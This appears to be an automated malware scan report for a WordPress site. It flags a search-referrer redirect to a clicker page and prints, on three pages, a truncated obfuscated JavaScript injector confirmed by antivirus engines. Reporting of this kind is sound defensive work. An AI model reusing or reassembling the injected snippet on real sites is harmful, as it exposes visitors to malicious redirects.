Malicious/Suspicious Redirects
Request | Server response | Status |
URL: http://helloadil.com/ (imitation of visitor from search engine) GET / HTTP/1.1 Host: helloadil.com Referer: http://www.google.com/search?q=redirect+check1 | HTTP/1.1 301 Moved Permanently Connection: close Date: Thu, 11 Sep 2014 06:56:36 GMT Location: http://arweb.jp/clicker.php Server: nginx/1.6.1 Content-Length: 298 Content-Type: text/html; charset=iso-8859-1 | malicious |
Scanned pages/files
Request | Server response | Status |
http://helloadil.com/ | 200 OK Content-Length: 64685 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) sp=\"s\"+\"p\"+\"li\"+\"t\";w=window;z=\"dy\";d=document;aq=\"0x\";bv=(5-3-1);try{++(d.body)}catch(d21vd12v){vzs=false;try{}catch(wb){vzs=21;}if(1){f=\"17:5d:6c:65:5a:6b:60:66:65:17:5f:66:6c:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:5f:66:6c:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4: Antivirus reports:
| ||
http://helloadil.com/?page_id=2 | 200 OK Content-Length: 18293 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) sp=\"s\"+\"p\"+\"li\"+\"t\";w=window;z=\"dy\";d=document;aq=\"0x\";bv=(5-3-1);try{++(d.body)}catch(d21vd12v){vzs=false;try{}catch(wb){vzs=21;}if(1){f=\"17:5d:6c:65:5a:6b:60:66:65:17:5f:66:6c:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:5f:66:6c:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4: Antivirus reports:
| ||
http://helloadil.com/wp-includes/js/comment-reply.min.js?ver=3.6 | 200 OK Content-Length: 786 Content-Type: application/javascript | clean |
http://helloadil.com/?page_id=32 | 200 OK Content-Length: 22480 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) sp=\"s\"+\"p\"+\"li\"+\"t\";w=window;z=\"dy\";d=document;aq=\"0x\";bv=(5-3-1);try{++(d.body)}catch(d21vd12v){vzs=false;try{}catch(wb){vzs=21;}if(1){f=\"17:5d:6c:65:5a:6b:60:66:65:17:5f:66:6c:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:5f:66:6c:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4: Antivirus reports:
| ||
http://helloadil.com/?feed=rss2 | 200 OK Content-Length: 63817 Content-Type: text/xml | clean |
http://helloadil.com/wp-content/uploads/2010/05/achmed-the-dead-terrorist-07.jpg | 200 OK Content-Length: 29253 Content-Type: image/jpeg | clean |
http://helloadil.com/test404page.js | 404 Not Found Content-Length: 11812 Content-Type: text/html | clean |
http://code.jquery.com/jquery-1.9.1.js | 200 OK Content-Length: 268381 Content-Type: application/x-javascript | clean |
http://helloadil.com/cgi-sys/js/simple-expand.min.js | 200 OK Content-Length: 2782 Content-Type: application/javascript | clean |
http://helloadil.com/wp-content/uploads/2010/04/lol1.jpg | 200 OK Content-Length: 13846 Content-Type: image/jpeg | clean |
http://helloadil.com/wp-content/uploads/2010/03/0607_z+2007_gmc_acadia+front_corner.jpg | 200 OK Content-Length: 20560 Content-Type: image/jpeg | clean |
http://helloadil.com/wp-content/uploads/2010/03/smart-car-suv-05.jpg | 200 OK Content-Length: 31521 Content-Type: image/jpeg | clean |
http://helloadil.com/wp-content/uploads/2010/03/funny-signs-0-percent-off-sale.jpg | 200 OK Content-Length: 107954 Content-Type: image/jpeg | clean |
http://helloadil.com/wp-content/uploads/2010/03/funny_290.jpg | 200 OK Content-Length: 57755 Content-Type: image/jpeg | clean |
http://helloadil.com/wp-content/uploads/2010/04/Ghost_recon.jpg | 200 OK Content-Length: 162452 Content-Type: image/jpeg | clean |
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=helloadil.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://helloadil.com/
Result: helloadil.com is not infected or malware details are not published yet.
Result: helloadil.com is not infected or malware details are not published yet.